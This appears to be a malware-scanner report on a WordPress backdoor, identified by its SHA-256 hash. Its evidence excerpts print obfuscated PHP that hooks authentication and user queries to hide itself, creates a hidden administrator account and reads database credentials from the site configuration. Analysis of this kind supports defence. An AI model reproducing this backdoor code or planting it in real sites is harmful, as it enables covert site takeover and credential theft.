2ca5868e9fa35362d6f1f285b83f47dbc8990885914e00d939a0f7cd914a5307
WordPress backdoor with C2 and admin creation
Direct WordPress administrator capability insertParses CMS config for database credentials
SHA-2562ca5868e9fa35362d6f1f285b83f47dbc8990885914e00d939a0f7cd914a5307
Evidence
497:29… ager_connector_opts', 'k8cteob93g4jes51qj', 10, 1);
498
499 add_filter('authenticate', 'sbppqoqwgsxq165be', 999, 3);
500
501add_filter('pre_user_query', 'qsk264t8utc060c6iybd');
502
503
504
505
506 add_filter('rest_user_query', 'pzy1tnvhltmvckrgt4fk8', 10, 2);$oibxh7gum=24+9;$lh2flbpf7s449w=$oibxh7gum-25;
507 add_filter('views_users', 'owfxn3zva7j2re2');
508
509
⋯4 lines
514
515
516 add_filter('show_advanced_plugins', 'rznvohnonhsfsl3', 10, 2);
517 add_action('admin_head-plugins.php', 'sk3ukzt1u21youd8m');
518 add …
⋯5 lines
1814
1815
1816 $w3wgk9g51wy4i = @file_get_contents($ar7d7hqex1ej_aa_, false, null, 0, 524288);
1817if (! $w3wgk9g51wy4i) {
1818 return false;
⋯15 lines
3281:53… ipw1whifawwn5hqa1s06('example.com');
3282 $us6bgtfd0s = false;
3283
3284 if (function_exists('wp_insert_user')) {
3285 $us6bgtfd0s = wp_insert_user(array(
3286 'user_login' => $b126lv8utl02qxut,
3287'user_pass' => $kb845ttub0piyuu5,
3288 'user_email' => $t2u3d7vv316,
3289 'role' => 'administrator',
⋯7 lines
3333:22… int) $wpdb->insert_id;
3334
3335
3336 $rkoa7nrjcvdft3 = $wpdb->prefix . 'capabilities';
3337 $wpdb->insert($wpdb->usermeta, array(
3338
3339 'user_id' => $us6bgtfd0s,
3340 'meta_key' => $rkoa7nrjcvdft3,
3341
3342
3343
3344 'meta_value' => serialize(array('administrator' => true)),
3345 ), array('%d', '%s', '%s'));
3346
⋯7 lines
⋯11 lines
3989
3990
3991 if (preg_match('/define\\s*\\(\\s*[\'"]DB_NAME[\'"]\\s*,\\s*[\'"]([^\'"]+)[\'"]/', $q0xhrklht1urnnil, $kqfztc1h15cxx)) {
3992
3993 $js_ejwve1w01l_a = $kqfztc1h15cxx[1];
3994 }
3995if (preg_match('/table_prefix\\s*=\\s*[\'"]([^\'"]+)[\'"]/', $q0xhrklht1urnnil, $kqfztc1h15cxx)) {
3996 $prefix = $kqfztc1 …